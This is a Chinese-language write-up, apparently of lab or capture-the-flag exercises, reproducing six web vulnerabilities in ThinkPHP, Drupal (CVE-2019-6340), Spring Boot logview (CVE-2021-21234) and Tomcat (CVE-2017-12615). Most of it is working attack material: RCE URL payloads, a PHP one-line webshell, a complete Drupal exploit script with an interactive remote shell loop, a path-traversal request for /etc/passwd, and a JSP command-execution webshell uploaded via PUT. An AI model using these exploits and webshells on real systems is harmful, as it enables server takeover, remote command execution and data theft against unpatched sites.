1.名称: 命令执行漏洞
描述: 命令执行(Command Execution)漏洞即黑客可以直接在Web应用中执行系统命令,从而获取敏感信息或者拿下shell权限 命令执行漏洞可能造成的原因是Web服务器对用户输入命令安全检测不足,导致恶意代码被执行
复现:
访问url发现提示
根据提示构造
http://ip/index.php?cmd=ls%20/tmp
发现成功执行
2.thinkphp-2x-rce 代码执行
描述: ThinkPHP框架 - 是由上海顶想公司开发维护的MVC结构的开源PHP框架,遵循Apache2开源协议发布,是为了敏捷WEB应用开发和简化企业应用开发而诞生的。 ThinkPHP ThinkPHP 2.x版本中,使用preg_replace的/e模式匹配路由导致用户的输入参数被插入双引号中执行,造成任意代码执行漏洞
复现:
访问url,发现是
根据提示:是preg_replace的/e模式匹配路由
构造一句话木马 /a/b/c/${@print(($_POST[1]))}
然后使用蚁剑连接
连接成功
3.thinkphp 代码执行 (CNVD-2018-24942)
描述: ThinkPHP框架 - 是由上海顶想公司开发维护的MVC结构的开源PHP框架,遵循Apache2开源协议发布,是为了敏捷WEB应用开发和简化企业应用开发而诞生的。 该漏洞由于框架对控制器名未能进行足够的检测,攻击者利用该漏洞对目标网站进行远程命令执行攻击。
复现:
打开目标发现
对目标进行漏洞扫描,发现
发现目标存在thinkphp5代码执行漏洞
构造payload:
成功执行
读取flag
/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=ls /tmp
成功读取
4.名称: drupal 代码执行 (CVE-2019-6340)
描述: Drupal是使用PHP语言编写的开源内容管理框架(CMF),它由内容管理系统(CMS)和PHP开发框架(Framework)共同构成 该漏洞源于某些字段在通过非表格(non-form resources)类型输入时未能正确过滤,导致潜在的任意PHP代码执行。
复现:
使用exp:
import requests
import sys
import re
if len(sys.argv)!=2:
print('+---------------------------------------------------------------+')
print('+ DES: by zhzyker as https://github.com/zhzyker/exphub +')
print('+ https://freeerror.org/d/488 +')
print('+---------------------------------------------------------------+')
print('+ USE: python3 <filename> <url> +')
print('+ EXP: python3 cve-2019-6340_cmd.py http://freeerror.org:8080 +')
print('+ VER: Drupal < 8.6.10 +')
print('+ Drupal < 8.5.12 +')
print('+---------------------------------------------------------------+')
sys.exit()
url = sys.argv[1]
cmd = "whoami"
dir = "/node/?_format=hal_json"
url_dir = url + dir
cmd_len = len(cmd)
payload = "{\r\n \"link\": [\r\n {\r\n \"value\": \"link\",\r\n \"options\": \"O:24:\\\"GuzzleHttp\\\\Psr7\\\\FnStream\\\":2:{s:33:\\\"\\u0000GuzzleHttp\\\\Psr7\\\\FnStream\\u0000methods\\\";a:1:{s:5:\\\"close\\\";a:2:{i:0;O:23:\\\"GuzzleHttp\\\\HandlerStack\\\":3:{s:32:\\\"\\u0000GuzzleHttp\\\\HandlerStack\\u0000handler\\\";s:%s:\\\"%s\\\";s:30:\\\"\\u0000GuzzleHttp\\\\HandlerStack\\u0000stack\\\";a:1:{i:0;a:1:{i:0;s:6:\\\"system\\\";}}s:31:\\\"\\u0000GuzzleHttp\\\\HandlerStack\\u0000cached\\\";b:0;}i:1;s:7:\\\"resolve\\\";}}s:9:\\\"_fn_close\\\";a:2:{i:0;r:4;i:1;s:7:\\\"resolve\\\";}}\"\r\n }\r\n ],\r\n \"_links\": {\r\n \"type\": {\r\n \"href\": \"%s/rest/type/shortcut/default\"\r\n }\r\n }\r\n}" % (cmd_len,cmd,url)
headers = {
'User-Agent': "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:55.0) Gecko/20100101 Firefox/55.0",
'Connection': "close",
'Content-Type': "application/hal+json",
'Accept': "*/*",
'Cache-Control': "no-cache"
}
response = requests.request("POST", url_dir, data=payload, headers=headers)
if response.status_code==403 and "u0027access" in response.text :
print ("[+] Find Drupal CVE-2019-6340 Vuln!\n")
else:
print ("[-] Not Drupal CVE-2019-6340 Vuln! Good Luck~\n")
sys.exit()
def do_post(cmd):
payload = "{\r\n \"link\": [\r\n {\r\n \"value\": \"link\",\r\n \"options\": \"O:24:\\\"GuzzleHttp\\\\Psr7\\\\FnStream\\\":2:{s:33:\\\"\\u0000GuzzleHttp\\\\Psr7\\\\FnStream\\u0000methods\\\";a:1:{s:5:\\\"close\\\";a:2:{i:0;O:23:\\\"GuzzleHttp\\\\HandlerStack\\\":3:{s:32:\\\"\\u0000GuzzleHttp\\\\HandlerStack\\u0000handler\\\";s:%s:\\\"%s\\\";s:30:\\\"\\u0000GuzzleHttp\\\\HandlerStack\\u0000stack\\\";a:1:{i:0;a:1:{i:0;s:6:\\\"system\\\";}}s:31:\\\"\\u0000GuzzleHttp\\\\HandlerStack\\u0000cached\\\";b:0;}i:1;s:7:\\\"resolve\\\";}}s:9:\\\"_fn_close\\\";a:2:{i:0;r:4;i:1;s:7:\\\"resolve\\\";}}\"\r\n }\r\n ],\r\n \"_links\": {\r\n \"type\": {\r\n \"href\": \"%s/rest/type/shortcut/default\"\r\n }\r\n }\r\n}" % (cmd_len,cmd,url)
headers = {
'User-Agent': "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:55.0) Gecko/20100101 Firefox/55.0",
'Connection': "close",
'Content-Type': "application/hal+json",
'Accept': "*/*",
'Cache-Control': "no-cache"
}
global response
response = requests.request("POST", url_dir, data=payload, headers=headers)
r = response.text
s = r.split("}")[1]
print (s)
while 1:
cmd = input("Shell >>> ")
cmd_len = len(cmd)
if cmd == "exit" : exit(0)
do_post(cmd)
获取成功
5.名称: Spring Boot 目录遍历 (CVE-2021-21234)
描述: Spring Boot是由Pivotal团队提供的全新框架,其设计目的是用来简化新Spring应用的初始搭建以及开发过程。该框架使用了特定的方式来进行配置,从而使开发人员不再需要定义样板化的配置。通过这种方式,Spring Boot致力于在蓬勃发展的快速应用开发领域(rapid application development)成为领导者。 spring-boot-actuator-logview 在一个库中添加了一个简单的日志文件查看器作为 spring boot 执行器端点。它是 maven 包“eu.hinsch:spring-boot-actuator-logview”。在 0.2.13 版本之前的 spring-boot-actuator-logview 中存在目录遍历漏洞。该库的本质是通过 admin(spring boot 执行器)HTTP 端点公开日志文件目录。要查看的文件名和基本文件夹(相对于日志文件夹根)都可以通过请求参数指定。虽然检查了文件名参数以防止目录遍历攻击(因此`filename=../somefile` 将不起作用),但没有充分检查基本文件夹参数,因此`filename=somefile&base=../` 可以访问日志记录基目录之外的文件)。该漏洞已在 0.2.13 版中修复。0.2.12 的任何用户都应该能够毫无问题地进行更新,因为该版本中没有其他更改。除了更新或删除依赖项之外,没有解决此漏洞的方法。但是,删除运行应用程序的用户对运行应用程序不需要的任何目录的读取访问权限可以限制影响。此外,可以通过在反向代理后面部署应用程序来限制对 logview 端点的访问。
复现:
使用poc:/manage/log/view?filename=/etc/passwd&base=../../../../../../../../../../
成功读取
6.名称: tomcat 文件上传 (CVE-2017-12615)
描述: Tomcat 是一个小型的轻量级应用服务器,在中小型系统和并发访问用户不是很多的场合下被普遍使用,是开发和调试JSP 程序的首选。 攻击者将有可能可通过精心构造的攻击请求数据包向服务器上传包含任意代码的 JSP 的webshell文件,JSP文件中的恶意代码将能被服务器执行,导致服务器上的数据泄露或获取服务器权限。
复现:使用漏扫发现目标存在put文件上传
使用burp,构造请求包
PUT /cmd.jsp/ HTTP/1.1
Host: ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:78.0) Gecko/20100101 Firefox/78.0
Content-Length: 417
Accept: */*
Content-Type: application/x-www-form-urlencoded
Cookie: PHPSESSID=uohevqsgoa0fvpopbua7eecoo7
Accept-Encoding: gzip
<%
if("123".equals(request.getParameter("pwd"))){
java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("cmd")).getInputStream();
int a = -1;
byte[] b = new byte[1024];
out.print("<pre>");
while((a=in.read(b))!=-1){
out.println(new String(b));
}
out.print("</pre>");
}
%>
构造访问:/cmd.jsp?&pwd=123&cmd=pwd
读取flag